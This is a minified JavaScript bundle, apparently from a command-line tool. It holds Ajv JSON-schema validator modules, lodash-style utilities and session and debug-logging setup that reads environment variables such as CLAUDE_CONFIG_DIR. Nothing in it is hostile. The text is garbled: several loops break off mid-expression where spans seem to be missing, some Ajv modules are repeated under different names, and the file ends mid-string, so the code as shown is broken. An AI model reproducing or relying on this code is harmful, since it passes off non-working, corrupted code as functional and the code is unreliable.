p=u.let("valid",!1),h=u.const("tag",(0,e._)`${l}${(0,e.getProperty)(b)}`);u.if((0,e._)`typeof ${h} == "string"`,()=>y(),()=>c.error(!1,{discrError:r.DiscrError.Tag,tag:h,tagName:b})),c.ok(p);function y(){let S=_();u.if(!1);for(let x in S)u.elseIf((0,e._)`${h} === ${x}`),u.assign(p,v(S[x]));u.else(),c.error(!1,{discrError:r.DiscrError.Mapping,tag:h,tagName:b}),u.endIf()}function v(S){let x=u.name("valid"),w=c.subschema({keyword:"oneOf",schemaProp:S},x);return c.mergeEvaluated(w,e.Name),x}function _(){var S;let x={},w=R(f),T=!0;for(let q=0;q{e.exports={$schema:"http://json-schema.org/draft-07/schema#",$id:"http://json-schema.org/draft-07/schema#",title:"Core schema meta-schema",definitions:{schemaArray:{type:"array",minItems:1,items:{$ref:"#"}},nonNegativeInteger:{type:"integer",minimum:0},nonNegativeIntegerDefault0:{allOf:[{$ref:"#/definitions/nonNegativeInteger"},{default:0}]},simpleTypes:{enum:["array","boolean","integer","null","number","object","string"]},stringArray:{type:"array",items:{type:"string"},uniqueItems:!0,default:[]}},type:["object","boolean"],properties:{$id:{type:"string",format:"uri-reference"},$schema:{type:"string",format:"uri"},$ref:{type:"string",format:"uri-reference"},$comment:{type:"string"},title:{type:"string"},description:{type:"string"},default:!0,readOnly:{type:"boolean",default:!1},examples:{type:"array",items:!0},multipleOf:{type:"number",exclusiveMinimum:0},maximum:{type:"number"},exclusiveMaximum:{type:"number"},minimum:{type:"number"},exclusiveMinimum:{type:"number"},maxLength:{$ref:"#/definitions/nonNegativeInteger"},minLength:{$ref:"#/definitions/nonNegativeIntegerDefault0"},pattern:{type:"string",format:"regex"},additionalItems:{$ref:"#"},items:{anyOf:[{$ref:"#"},{$ref:"#/definitions/schemaArray"}],default:!0},maxItems:{$ref:"#/definitions/nonNegativeInteger"},minItems:{$ref:"#/definitions/nonNegativeIntegerDefault0"},uniqueItems:{type:"boolean",default:!1},contains:{$ref:"#"},maxProperties:{$ref:"#/definitions/nonNegativeInteger"},minProperties:{$ref:"#/definitions/nonNegativeIntegerDefault0"},required:{$ref:"#/definitions/stringArray"},additionalProperties:{$ref:"#"},definitions:{type:"object",additionalProperties:{$ref:"#"},default:{}},properties:{type:"object",additionalProperties:{$ref:"#"},default:{}},patternProperties:{type:"object",additionalProperties:{$ref:"#"},propertyNames:{format:"regex"},default:{}},dependencies:{type:"object",additionalProperties:{anyOf:[{$ref:"#"},{$ref:"#/definitions/stringArray"}]}},propertyNames:{$ref:"#"},const:!0,enum:{type:"array",items:!0,minItems:1,uniqueItems:!0},type:{anyOf:[{$ref:"#/definitions/simpleTypes"},{type:"array",items:{$ref:"#/definitions/simpleTypes"},minItems:1,uniqueItems:!0}]},format:{type:"string"},contentMediaType:{type:"string"},contentEncoding:{type:"string"},if:{$ref:"#"},then:{$ref:"#"},else:{$ref:"#"},allOf:{$ref:"#/definitions/schemaArray"},anyOf:{$ref:"#/definitions/schemaArray"},oneOf:{$ref:"#/definitions/schemaArray"},not:{$ref:"#"}},default:!0}}),IL=ee((t,e)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.MissingRefError=t.ValidationError=t.CodeGen=t.Name=t.nil=t.stringify=t.str=t._=t.KeywordCxt=t.Ajv=void 0;var r=Kq(),n=$L(),a=OL(),s=CL(),i=["/properties"],o="http://json-schema.org/draft-07/schema";class c extends r.default{_addVocabularies(){super._addVocabularies(),n.default.forEach(g=>this.addVocabulary(g)),this.opts.discriminator&&this.addKeyword(a.default)}_addDefaultMetaSchema(){if(super._addDefaultMetaSchema(),!this.opts.meta)return;let g=this.opts.$data?this.$dataMetaSchema(s,i):s;this.addMetaSchema(g,o,!1),this.refs["http://json-schema.org/schema"]=o}defaultMeta(){return this.opts.defaultMeta=super.defaultMeta()||(this.getSchema(o)?o:void 0)}}t.Ajv=c,e.exports=t=c,e.exports.Ajv=c,Object.defineProperty(t,"__esModule",{value:!0}),t.default=c;var u=ol();Object.defineProperty(t,"KeywordCxt",{enumerable:!0,get:function(){return u.KeywordCxt}});var l=Fe();Object.defineProperty(t,"_",{enumerable:!0,get:function(){return l._}}),Object.defineProperty(t,"str",{enumerable:!0,get:function(){return l.str}}),Object.defineProperty(t,"stringify",{enumerable:!0,get:function(){return l.stringify}}),Object.defineProperty(t,"nil",{enumerable:!0,get:function(){return l.nil}}),Object.defineProperty(t,"Name",{enumerable:!0,get:function(){return l.Name}}),Object.defineProperty(t,"CodeGen",{enumerable:!0,get:function(){return l.CodeGen}});var d=wm();Object.defineProperty(t,"ValidationError",{enumerable:!0,get:function(){return d.default}});var f=cl();Object.defineProperty(t,"MissingRefError",{enumerable:!0,get:function(){return f.default}})}),AL=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.formatLimitDefinition=void 0;var e=IL(),r=Fe(),n=r.operators,a={formatMaximum:{okStr:"<=",ok:n.LTE,fail:n.GT},formatMinimum:{okStr:">=",ok:n.GTE,fail:n.LT},formatExclusiveMaximum:{okStr:"<",ok:n.LT,fail:n.GTE},formatExclusiveMinimum:{okStr:">",ok:n.GT,fail:n.LTE}},s={message:({keyword:o,schemaCode:c})=>(0,r.str)`should be ${a[o].okStr} ${c}`,params:({keyword:o,schemaCode:c})=>(0,r._)`{comparison: ${a[o].okStr}, limit: ${c}}`};t.formatLimitDefinition={keyword:Object.keys(a),type:"string",schemaType:"string",$data:!0,error:s,code(o){let{gen:c,data:u,schemaCode:l,keyword:d,it:f}=o,{opts:m,self:g}=f;if(!m.validateFormats)return;let b=new e.KeywordCxt(f,g.RULES.all.format.definition,"format");b.$data?p():h();function p(){let v=c.scopeValue("formats",{ref:g.formats,code:m.code.formats}),_=c.const("fmt",(0,r._)`${v}[${b.schemaCode}]`);o.fail$data((0,r.or)((0,r._)`typeof ${_} != "object"`,(0,r._)`${_} instanceof RegExp`,(0,r._)`typeof ${_}.compare != "function"`,y(_)))}function h(){let v=b.schema,_=g.formats[v];if(!_||_===!0)return;if(typeof _!="object"||_ instanceof RegExp||typeof _.compare!="function")throw new Error(`"${d}": format "${v}" does not define "compare" function`);let S=c.scopeValue("formats",{key:v,ref:_,code:m.code.formats?(0,r._)`${m.code.formats}${(0,r.getProperty)(v)}`:void 0});o.fail$data(y(S))}function y(v){return(0,r._)`${v}.compare(${u}, ${l}) ${a[d].fail} 0`}},dependencies:["format"]};var i=o=>(o.addKeyword(t.formatLimitDefinition),o);t.default=i}),NL=ee((t,e)=>{Object.defineProperty(t,"__esModule",{value:!0});var r=zq(),n=AL(),a=Fe(),s=new a.Name("fullFormats"),i=new a.Name("fastFormats"),o=(u,l={keywords:!0})=>{if(Array.isArray(l))return c(u,l,r.fullFormats,s),u;let[d,f]=l.mode==="fast"?[r.fastFormats,i]:[r.fullFormats,s],m=l.formats||r.formatNames;return c(u,m,d,f),l.keywords&&(0,n.default)(u),u};o.get=(u,l="full")=>{let f=(l==="fast"?r.fastFormats:r.fullFormats)[u];if(!f)throw new Error(`Unknown format "${u}"`);return f};function c(u,l,d,f){var m,g;(m=(g=u.opts.code).formats)!==null&&m!==void 0||(g.formats=(0,a._)`require("ajv-formats/dist/formats").${f}`);for(let b of l)u.addFormat(b,d[b])}e.exports=t=o,Object.defineProperty(t,"__esModule",{value:!0}),t.default=o}),jL=50;function K1(t=jL){let e=new AbortController;return(0,G1.setMaxListeners)(t,e.signal),e}var ML=typeof global=="object"&&global&&global.Object===Object&&global,DL=ML,qL=typeof self=="object"&&self&&self.Object===Object&&self,LL=DL||qL||Function("return this")(),Tm=LL,FL=Tm.Symbol,Gu=FL,Q1=Object.prototype,zL=Q1.hasOwnProperty,UL=Q1.toString,uo=Gu?Gu.toStringTag:void 0;function HL(t){var e=zL.call(t,uo),r=t[uo];try{t[uo]=void 0;var n=!0}catch{}var a=UL.call(t);return n&&(e?t[uo]=r:delete t[uo]),a}var BL=HL,VL=Object.prototype,WL=VL.toString;function ZL(t){return WL.call(t)}var GL=ZL,KL="[object Null]",XL="[object Undefined]",n1=Gu?Gu.toStringTag:void 0;function JL(t){return t==null?t===void 0?XL:KL:n1&&n1 in Object(t)?BL(t):GL(t)}var YL=JL;function QL(t){var e=typeof t;return t!=null&&(e=="object"||e=="function")}var eT=QL,e6="[object AsyncFunction]",t6="[object Function]",r6="[object GeneratorFunction]",a6="[object Proxy]";function n6(t){if(!eT(t))return!1;var e=YL(t);return e==t6||e==r6||e==e6||e==a6}var s6=n6,i6=Tm["__core-js_shared__"],Gf=i6,s1=(function(){var t=/[^.]+$/.exec(Gf&&Gf.keys&&Gf.keys.IE_PROTO||"");return t?"Symbol(src)_1."+t:""})();function o6(t){return!!s1&&s1 in t}var c6=o6,u6=Function.prototype,l6=u6.toString;function d6(t){if(t!=null){try{return l6.call(t)}catch{}try{return t+""}catch{}}return""}var p6=d6,f6=/[\\^$.*+?()[\]{}|]/g,m6=/^\[object .+?Constructor\]$/,h6=Function.prototype,v6=Object.prototype,g6=h6.toString,y6=v6.hasOwnProperty,_6=RegExp("^"+g6.call(y6).replace(f6,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$");function b6(t){if(!eT(t)||c6(t))return!1;var e=s6(t)?_6:m6;return e.test(p6(t))}var x6=b6;function w6(t,e){return t?.[e]}var S6=w6;function E6(t,e){var r=S6(t,e);return x6(r)?r:void 0}var tT=E6,T6=tT(Object,"create"),fo=T6;function k6(){this.__data__=fo?fo(null):{},this.size=0}var R6=k6;function $6(t){var e=this.has(t)&&delete this.__data__[t];return this.size-=e?1:0,e}var P6=$6,O6="__lodash_hash_undefined__",C6=Object.prototype,I6=C6.hasOwnProperty;function A6(t){var e=this.__data__;if(fo){var r=e[t];return r===O6?void 0:r}return I6.call(e,t)?e[t]:void 0}var N6=A6,j6=Object.prototype,M6=j6.hasOwnProperty;function D6(t){var e=this.__data__;return fo?e[t]!==void 0:M6.call(e,t)}var q6=D6,L6="__lodash_hash_undefined__";function F6(t,e){var r=this.__data__;return this.size+=this.has(t)?0:1,r[t]=fo&&e===void 0?L6:e,this}var z6=F6;function ei(t){var e=-1,r=t==null?0:t.length;for(this.clear();++e-1}var e5=Q6;function t5(t,e){var r=this.__data__,n=ul(r,t);return n<0?(++this.size,r.push([t,e])):r[n][1]=e,this}var r5=t5;function ti(t){var e=-1,r=t==null?0:t.length;for(this.clear();++e{if(!t||t.trim()==="")return null;let e=t.split(",").map(s=>s.trim()).filter(Boolean);if(e.length===0)return null;let r=e.some(s=>s.startsWith("!")),n=e.some(s=>!s.startsWith("!"));if(r&&n)return null;let a=e.map(s=>s.replace(/^!/,"").toLowerCase());return{include:r?[]:a,exclude:r?a:[],isExclusive:r}});function w5(t){let e=[],r=t.match(/^MCP server ["']([^"']+)["']/);if(r&&r[1])e.push("mcp"),e.push(r[1].toLowerCase());else{let s=t.match(/^([^:[]+):/);s&&s[1]&&e.push(s[1].trim().toLowerCase())}let n=t.match(/^\[([^\]]+)]/);n&&n[1]&&e.push(n[1].trim().toLowerCase()),t.toLowerCase().includes("statsig event:")&&e.push("statsig");let a=t.match(/:\s*([^:]+?)(?:\s+(?:type|mode|status|event))?:/);if(a&&a[1]){let s=a[1].trim().toLowerCase();s.length<30&&!s.includes(" ")&&e.push(s)}return Array.from(new Set(e))}function S5(t,e){return e?t.length===0?!1:e.isExclusive?!t.some(r=>e.exclude.includes(r)):t.some(r=>e.include.includes(r)):!0}function E5(t,e){if(!e)return!0;let r=w5(t);return S5(r,e)}function sT(){return process.env.CLAUDE_CONFIG_DIR??(0,aT.join)((0,nT.homedir)(),".claude")}function c1(t){if(!t)return!1;if(typeof t=="boolean")return t;let e=t.toLowerCase().trim();return["1","true","yes","on"].includes(e)}var T5={name:"BASH_MAX_OUTPUT_LENGTH",default:3e4,validate:t=>{if(!t)return{effective:3e4,status:"valid"};let n=parseInt(t,10);return isNaN(n)||n<=0?{effective:3e4,status:"invalid",message:`Invalid value "${t}" (using default: 30000)`}:n>15e4?{effective:15e4,status:"capped",message:`Capped from ${n} to 150000`}:{effective:n,status:"valid"}}},k5={name:"CLAUDE_CODE_MAX_OUTPUT_TOKENS",default:32e3,validate:t=>{if(!t)return{effective:32e3,status:"valid"};let n=parseInt(t,10);return isNaN(n)||n<=0?{effective:32e3,status:"invalid",message:`Invalid value "${t}" (using default: 32000)`}:n>64e3?{effective:64e3,status:"capped",message:`Capped from ${n} to 64000`}:{effective:n,status:"valid"}}};function R5(){let t="";return typeof process<"u"&&typeof process.cwd=="function"&&(t=(0,oT.realpathSync)((0,iT.cwd)())),{originalCwd:t,totalCostUSD:0,totalAPIDuration:0,totalAPIDurationWithoutRetries:0,totalToolDuration:0,startTime:Date.now(),lastInteractionTime:Date.now(),totalLinesAdded:0,totalLinesRemoved:0,hasUnknownModelCost:!1,cwd:t,modelUsage:{},mainLoopModelOverride:void 0,initialMainLoopModel:null,modelStrings:null,isInteractive:!1,clientType:"cli",sessionIngressToken:void 0,oauthTokenFromFd:void 0,apiKeyFromFd:void 0,flagSettingsPath:void 0,allowedSettingSources:["userSettings","projectSettings","localSettings","flagSettings","policySettings"],meter:null,sessionCounter:null,locCounter:null,prCounter:null,commitCounter:null,costCounter:null,tokenCounter:null,codeEditToolDecisionCounter:null,activeTimeCounter:null,sessionId:(0,cT.randomUUID)(),loggerProvider:null,eventLogger:null,meterProvider:null,tracerProvider:null,agentColorMap:new Map,agentColorIndex:0,envVarValidators:[T5,k5],lastAPIRequest:null,inMemoryErrorLog:[],inlinePlugins:[],sessionBypassPermissionsMode:!1,sessionPersistenceDisabled:!1,hasExitedPlanMode:!1,needsPlanModeExitAttachment:!1,hasExitedDelegateMode:!1,needsDelegateModeExitAttachment:!1,lspRecommendationShownThisSession:!1,initJsonSchema:null,registeredHooks:null,planSlugCache:new Map,teleportedSessionInfo:null,invokedSkills:new Map}}var $5=R5();function P5(){return $5.sessionId}function O5({writeFn:t,flushIntervalMs:e=1e3,maxBufferSize:r=100,immediateMode:n=!1}){let a=[],s=null;function i(){s&&(clearTimeout(s),s=null)}function o(){a.length!==0&&(t(a.join("")),a=[],i())}function c(){s||(s=setTimeout(o,e))}return{write(u){if(n){t(u);return}a.push(u),c(),a.length>=r&&o()},flush:o,dispose(){o()}}}var u1=new Set;function C5(t){return u1.add(t),()=>u1.delete(t)}var I5=Ro(()=>c1(process.env.DEBUG)||c1(process.env.DEBUG_SDK)||process.argv.includes("--debug")||process.argv.includes("-d")||uT()||process.argv.some(t=>t.startsWith("--debug="))),A5=Ro(()=>{let t=process.argv.find(r=>r.startsWith("--debug="));if(!t)return null;let e=t.substring(8);return x5(e)}),uT=Ro(()=>process.argv.includes("--debug-to-stderr")||process.argv.includes("-d2e"));function N5(t){if(typeof process>"u"||typeof process.versions>"u"||typeof process.versions.node>"u")return!1;let e=A5();return E5(t,e)}var j5=!1,Lu=null;function M5(){return Lu||(Lu=O5({writeFn:t=>{let e=lT();fa().existsSync((0,Cn.dirname)(e))||fa().mkdirSync((0,Cn.dirname)(e)),fa().appendFileSync(e,t),D5()},flushIntervalMs:1e3,maxBufferSize:100,immediateMode:I5()}),C5(async()=>Lu?.dispose())),Lu}function Da(t,{level:e}={level:"debug"}){if(!N5(t))return;j5&&t.includes(` + deps: ${l}}`};var a={keyword:"dependencies",type:"object",schemaType:"object",error:t.error,code(c){let[u,l]=s(c);i(c,u),o(c,l)}};function s({schema:c}){let u={},l={};for(let d in c){if(d==="__proto__")continue;let f=Array.isArray(c[d])?u:l;f[d]=c[d]}return[u,l]}function i(c,u=c.schema){let{gen:l,data:d,it:f}=c;if(Object.keys(u).length===0)return;let m=l.let("missing");for(let g in u){let b=u[g];if(b.length===0)continue;let p=(0,n.propertyInData)(l,d,g,f.opts.ownProperties);c.setParams({property:g,depsCount:b.length,deps:b.join(", ")}),f.allErrors?l.if(p,()=>{for(let h of b)(0,n.checkReportMissingProp)(c,h)}):(l.if((0,e._)`${p} && (${(0,n.checkMissingProp)(c,b,m)})`),(0,n.reportMissingProp)(c,m),l.else())}}t.validatePropertyDeps=i;function o(c,u=c.schema){let{gen:l,data:d,keyword:f,it:m}=c,g=l.name("valid");for(let b in u)(0,r.alwaysValidSchema)(m,u[b])||(l.if((0,n.propertyInData)(l,d,b,m.opts.ownProperties),()=>{let p=c.subschema({keyword:f,schemaProp:b},g);c.mergeValidEvaluated(p,g)},()=>l.var(g,!0)),c.ok(g))}t.validateSchemaDeps=o,t.default=a}),DL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=Je(),n={message:"property name must be valid",params:({params:s})=>(0,e._)`{propertyName: ${s.propertyName}}`},a={keyword:"propertyNames",type:"object",schemaType:["object","boolean"],error:n,code(s){let{gen:i,schema:o,data:c,it:u}=s;if((0,r.alwaysValidSchema)(u,o))return;let l=i.name("valid");i.forIn("key",c,d=>{s.setParams({propertyName:d}),s.subschema({keyword:"propertyNames",data:d,dataTypes:["string"],propertyName:d,compositeRule:!0},l),i.if((0,e.not)(l),()=>{s.error(!0),u.allErrors||i.break()})}),s.ok(l)}};t.default=a}),rT=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Ur(),r=Fe(),n=Za(),a=Je(),s={message:"must NOT have additional properties",params:({params:o})=>(0,r._)`{additionalProperty: ${o.additionalProperty}}`},i={keyword:"additionalProperties",type:["object"],schemaType:["boolean","object"],allowUndefined:!0,trackErrors:!0,error:s,code(o){let{gen:c,schema:u,parentSchema:l,data:d,errsCount:f,it:m}=o;if(!f)throw new Error("ajv implementation error");let{allErrors:g,opts:b}=m;if(m.props=!0,b.removeAdditional!=="all"&&(0,a.alwaysValidSchema)(m,u))return;let p=(0,e.allSchemaProperties)(l.properties),h=(0,e.allSchemaProperties)(l.patternProperties);y(),o.ok((0,r._)`${f} === ${n.default.errors}`);function y(){c.forIn("key",d,E=>{!p.length&&!h.length?S(E):c.if(v(E),()=>S(E))})}function v(E){let T;if(p.length>8){let $=(0,a.schemaRefOrVal)(m,l.properties,"properties");T=(0,e.isOwnProperty)(c,$,E)}else p.length?T=(0,r.or)(...p.map($=>(0,r._)`${E} === ${$}`)):T=r.nil;return h.length&&(T=(0,r.or)(T,...h.map($=>(0,r._)`${(0,e.usePattern)(o,$)}.test(${E})`))),(0,r.not)(T)}function _(E){c.code((0,r._)`delete ${d}[${E}]`)}function S(E){if(b.removeAdditional==="all"||b.removeAdditional&&u===!1){_(E);return}if(u===!1){o.setParams({additionalProperty:E}),o.error(),g||c.break();return}if(typeof u=="object"&&!(0,a.alwaysValidSchema)(m,u)){let T=c.name("valid");b.removeAdditional==="failing"?(x(E,T,!1),c.if((0,r.not)(T),()=>{o.reset(),_(E)})):(x(E,T),g||c.if((0,r.not)(T),()=>c.break()))}}function x(E,T,$){let N={keyword:"additionalProperties",dataProp:E,dataPropType:a.Type.Str};$===!1&&Object.assign(N,{compositeRule:!0,createErrors:!1,allErrors:!1}),o.subschema(N,T)}}};t.default=i}),qL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=ul(),r=Ur(),n=Je(),a=rT(),s={keyword:"properties",type:"object",schemaType:"object",code(i){let{gen:o,schema:c,parentSchema:u,data:l,it:d}=i;d.opts.removeAdditional==="all"&&u.additionalProperties===void 0&&a.default.code(new e.KeywordCxt(d,a.default,"additionalProperties"));let f=(0,r.allSchemaProperties)(c);for(let h of f)d.definedProperties.add(h);d.opts.unevaluated&&f.length&&d.props!==!0&&(d.props=n.mergeEvaluated.props(o,(0,n.toHash)(f),d.props));let m=f.filter(h=>!(0,n.alwaysValidSchema)(d,c[h]));if(m.length===0)return;let g=o.name("valid");for(let h of m)b(h)?p(h):(o.if((0,r.propertyInData)(o,l,h,d.opts.ownProperties)),p(h),d.allErrors||o.else().var(g,!0),o.endIf()),i.it.definedProperties.add(h),i.ok(g);function b(h){return d.opts.useDefaults&&!d.compositeRule&&c[h].default!==void 0}function p(h){i.subschema({keyword:"properties",schemaProp:h,dataProp:h},g)}}};t.default=s}),LL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Ur(),r=Fe(),n=Je(),a=Je(),s={keyword:"patternProperties",type:"object",schemaType:"object",code(i){let{gen:o,schema:c,data:u,parentSchema:l,it:d}=i,{opts:f}=d,m=(0,e.allSchemaProperties)(c),g=m.filter(S=>(0,n.alwaysValidSchema)(d,c[S]));if(m.length===0||g.length===m.length&&(!d.opts.unevaluated||d.props===!0))return;let b=f.strictSchema&&!f.allowMatchingProperties&&l.properties,p=o.name("valid");d.props!==!0&&!(d.props instanceof r.Name)&&(d.props=(0,a.evaluatedPropsToName)(o,d.props));let{props:h}=d;y();function y(){for(let S of m)b&&v(S),d.allErrors?_(S):(o.var(p,!0),_(S),o.if(p))}function v(S){for(let x in b)new RegExp(S).test(x)&&(0,n.checkStrictMode)(d,`property ${x} matches pattern ${S} (use allowMatchingProperties)`)}function _(S){o.forIn("key",u,x=>{o.if((0,r._)`${(0,e.usePattern)(i,S)}.test(${x})`,()=>{let E=g.includes(S);E||i.subschema({keyword:"patternProperties",schemaProp:S,dataProp:x,dataPropType:a.Type.Str},p),d.opts.unevaluated&&h!==!0?o.assign((0,r._)`${h}[${x}]`,!0):!E&&!d.allErrors&&o.if((0,r.not)(p),()=>o.break())})})}}};t.default=s}),FL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Je(),r={keyword:"not",schemaType:["object","boolean"],trackErrors:!0,code(n){let{gen:a,schema:s,it:i}=n;if((0,e.alwaysValidSchema)(i,s)){n.fail();return}let o=a.name("valid");n.subschema({keyword:"not",compositeRule:!0,createErrors:!1,allErrors:!1},o),n.failResult(o,()=>n.reset(),()=>n.error())},error:{message:"must NOT be valid"}};t.default=r}),zL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Ur(),r={keyword:"anyOf",schemaType:"array",trackErrors:!0,code:e.validateUnion,error:{message:"must match a schema in anyOf"}};t.default=r}),UL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=Je(),n={message:"must match exactly one schema in oneOf",params:({params:s})=>(0,e._)`{passingSchemas: ${s.passing}}`},a={keyword:"oneOf",schemaType:"array",trackErrors:!0,error:n,code(s){let{gen:i,schema:o,parentSchema:c,it:u}=s;if(!Array.isArray(o))throw new Error("ajv implementation error");if(u.opts.discriminator&&c.discriminator)return;let l=o,d=i.let("valid",!1),f=i.let("passing",null),m=i.name("_valid");s.setParams({passing:f}),i.block(g),s.result(d,()=>s.reset(),()=>s.error(!0));function g(){l.forEach((b,p)=>{let h;(0,r.alwaysValidSchema)(u,b)?i.var(m,!0):h=s.subschema({keyword:"oneOf",schemaProp:p,compositeRule:!0},m),p>0&&i.if((0,e._)`${m} && ${d}`).assign(d,!1).assign(f,(0,e._)`[${f}, ${p}]`).else(),i.if(m,()=>{i.assign(d,!0),i.assign(f,p),h&&s.mergeEvaluated(h,e.Name)})})}}};t.default=a}),HL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Je(),r={keyword:"allOf",schemaType:"array",code(n){let{gen:a,schema:s,it:i}=n;if(!Array.isArray(s))throw new Error("ajv implementation error");let o=a.name("valid");s.forEach((c,u)=>{if((0,e.alwaysValidSchema)(i,c))return;let l=n.subschema({keyword:"allOf",schemaProp:u},o);n.ok(o),n.mergeEvaluated(l)})}};t.default=r}),BL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=Je(),n={message:({params:i})=>(0,e.str)`must match "${i.ifClause}" schema`,params:({params:i})=>(0,e._)`{failingKeyword: ${i.ifClause}}`},a={keyword:"if",schemaType:["object","boolean"],trackErrors:!0,error:n,code(i){let{gen:o,parentSchema:c,it:u}=i;c.then===void 0&&c.else===void 0&&(0,r.checkStrictMode)(u,'"if" without "then" and "else" is ignored');let l=s(u,"then"),d=s(u,"else");if(!l&&!d)return;let f=o.let("valid",!0),m=o.name("_valid");if(g(),i.reset(),l&&d){let p=o.let("ifClause");i.setParams({ifClause:p}),o.if(m,b("then",p),b("else",p))}else l?o.if(m,b("then")):o.if((0,e.not)(m),b("else"));i.pass(f,()=>i.error(!0));function g(){let p=i.subschema({keyword:"if",compositeRule:!0,createErrors:!1,allErrors:!1},m);i.mergeEvaluated(p)}function b(p,h){return()=>{let y=i.subschema({keyword:p},m);o.assign(f,m),i.mergeValidEvaluated(y,f),h?o.assign(h,(0,e._)`${p}`):i.setParams({ifClause:p})}}}};function s(i,o){let c=i.schema[o];return c!==void 0&&!(0,r.alwaysValidSchema)(i,c)}t.default=a}),VL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Je(),r={keyword:["then","else"],schemaType:["object","boolean"],code({keyword:n,parentSchema:a,it:s}){a.if===void 0&&(0,e.checkStrictMode)(s,`"${n}" without "if" is ignored`)}};t.default=r}),ZL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=eT(),r=AL(),n=tT(),a=NL(),s=jL(),i=ML(),o=DL(),c=rT(),u=qL(),l=LL(),d=FL(),f=zL(),m=UL(),g=HL(),b=BL(),p=VL();function h(y=!1){let v=[d.default,f.default,m.default,g.default,b.default,p.default,o.default,c.default,i.default,u.default,l.default];return y?v.push(r.default,a.default):v.push(e.default,n.default),v.push(s.default),v}t.default=h}),GL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r={message:({schemaCode:a})=>(0,e.str)`must match format "${a}"`,params:({schemaCode:a})=>(0,e._)`{format: ${a}}`},n={keyword:"format",type:["number","string"],schemaType:"string",$data:!0,error:r,code(a,s){let{gen:i,data:o,$data:c,schema:u,schemaCode:l,it:d}=a,{opts:f,errSchemaPath:m,schemaEnv:g,self:b}=d;if(!f.validateFormats)return;c?p():h();function p(){let y=i.scopeValue("formats",{ref:b.formats,code:f.code.formats}),v=i.const("fDef",(0,e._)`${y}[${l}]`),_=i.let("fType"),S=i.let("format");i.if((0,e._)`typeof ${v} == "object" && !(${v} instanceof RegExp)`,()=>i.assign(_,(0,e._)`${v}.type || "string"`).assign(S,(0,e._)`${v}.validate`),()=>i.assign(_,(0,e._)`"string"`).assign(S,v)),a.fail$data((0,e.or)(x(),E()));function x(){return f.strictSchema===!1?e.nil:(0,e._)`${l} && !${S}`}function E(){let T=g.$async?(0,e._)`(${v}.async ? await ${S}(${o}) : ${S}(${o}))`:(0,e._)`${S}(${o})`,$=(0,e._)`(typeof ${S} == "function" ? ${T} : ${S}.test(${o}))`;return(0,e._)`${S} && ${S} !== true && ${_} === ${s} && !${$}`}}function h(){let y=b.formats[u];if(!y){x();return}if(y===!0)return;let[v,_,S]=E(y);v===s&&a.pass(T());function x(){if(f.strictSchema===!1){b.logger.warn($());return}throw new Error($());function $(){return`unknown format "${u}" ignored in schema at path "${m}"`}}function E($){let N=$ instanceof RegExp?(0,e.regexpCode)($):f.code.formats?(0,e._)`${f.code.formats}${(0,e.getProperty)(u)}`:void 0,j=i.scopeValue("formats",{key:u,ref:$,code:N});return typeof $=="object"&&!($ instanceof RegExp)?[$.type||"string",$.validate,(0,e._)`${j}.validate`]:["string",$,j]}function T(){if(typeof y=="object"&&!(y instanceof RegExp)&&y.async){if(!g.$async)throw new Error("async format in sync schema");return(0,e._)`await ${S}(${o})`}return typeof _=="function"?(0,e._)`${S}(${o})`:(0,e._)`${S}.test(${o})`}}}};t.default=n}),WL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=GL(),r=[e.default];t.default=r}),KL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.contentVocabulary=t.metadataVocabulary=void 0,t.metadataVocabulary=["title","description","default","deprecated","readOnly","writeOnly","examples"],t.contentVocabulary=["contentMediaType","contentEncoding","contentSchema"]}),XL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=bL(),r=IL(),n=ZL(),a=WL(),s=KL(),i=[e.default,r.default,(0,n.default)(),a.default,s.metadataVocabulary,s.contentVocabulary];t.default=i}),JL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.DiscrError=void 0;var e;(function(r){r.Tag="tag",r.Mapping="mapping"})(e||(t.DiscrError=e={}))}),YL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r=JL(),n=Tm(),a=ll(),s=Je(),i={message:({params:{discrError:c,tagName:u}})=>c===r.DiscrError.Tag?`tag "${u}" must be string`:`value of tag "${u}" must be in oneOf`,params:({params:{discrError:c,tag:u,tagName:l}})=>(0,e._)`{error: ${c}, tag: ${l}, tagValue: ${u}}`},o={keyword:"discriminator",type:"object",schemaType:"object",error:i,code(c){let{gen:u,data:l,schema:d,parentSchema:f,it:m}=c,{oneOf:g}=f;if(!m.opts.discriminator)throw new Error("discriminator: requires discriminator option");let b=d.propertyName;if(typeof b!="string")throw new Error("discriminator: requires propertyName");if(d.mapping)throw new Error("discriminator: mapping is not supported");if(!g)throw new Error("discriminator: requires oneOf keyword");let p=u.let("valid",!1),h=u.const("tag",(0,e._)`${l}${(0,e.getProperty)(b)}`);u.if((0,e._)`typeof ${h} == "string"`,()=>y(),()=>c.error(!1,{discrError:r.DiscrError.Tag,tag:h,tagName:b})),c.ok(p);function y(){let S=_();u.if(!1);for(let x in S)u.elseIf((0,e._)`${h} === ${x}`),u.assign(p,v(S[x]));u.else(),c.error(!1,{discrError:r.DiscrError.Mapping,tag:h,tagName:b}),u.endIf()}function v(S){let x=u.name("valid"),E=c.subschema({keyword:"oneOf",schemaProp:S},x);return c.mergeEvaluated(E,e.Name),x}function _(){var S;let x={},E=$(f),T=!0;for(let q=0;q{e.exports={$schema:"http://json-schema.org/draft-07/schema#",$id:"http://json-schema.org/draft-07/schema#",title:"Core schema 